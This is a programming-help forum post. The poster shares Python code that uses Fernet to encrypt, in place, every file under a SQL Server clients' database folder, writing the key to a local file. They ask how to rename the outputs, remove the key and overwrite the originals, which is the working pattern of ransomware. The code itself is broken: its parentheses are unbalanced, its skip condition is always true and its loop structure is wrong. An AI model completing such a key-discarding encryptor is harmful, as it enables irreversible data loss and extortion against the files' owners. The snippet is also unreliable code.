Cant encrypt a server disk with fernet PYTHON3

[kin]

key = Fernet.generate_key()
with open('thekey.key','wb') as thekey:
    thekey.write(key)


for root, dirs, files in os.walk("c:/sqlserver/database/clients/"):
    for file in files:
        if file == 'driverget.py' or 'thekey.key':
            continue
        print(os.path.join(root, file))
    try:
        with open(os.path.join(root,file)),"rb") as thefile:
            contents = thefile.read()
        contents_encrypted = Fernet(key).encrypt(contents)
        with open(os.path.join(root,file)),"wb") as thefile:
            thefile.write(contents_encrypted)
    except:
        continue

I want to encrypt some of my files using this block of code and change the filename like this for example:
Filename = hello.txt---->change it to------> hello_encrypted.txt
basicaly what I need to do is filename + _encrypted + the original extention(which is I don't actually know it might be also be a csv file xlsx file or something else. Also I want to take a away the key and overwrite the original file. Also I dont want to encrypt an encrypted data because that would corrupt the data.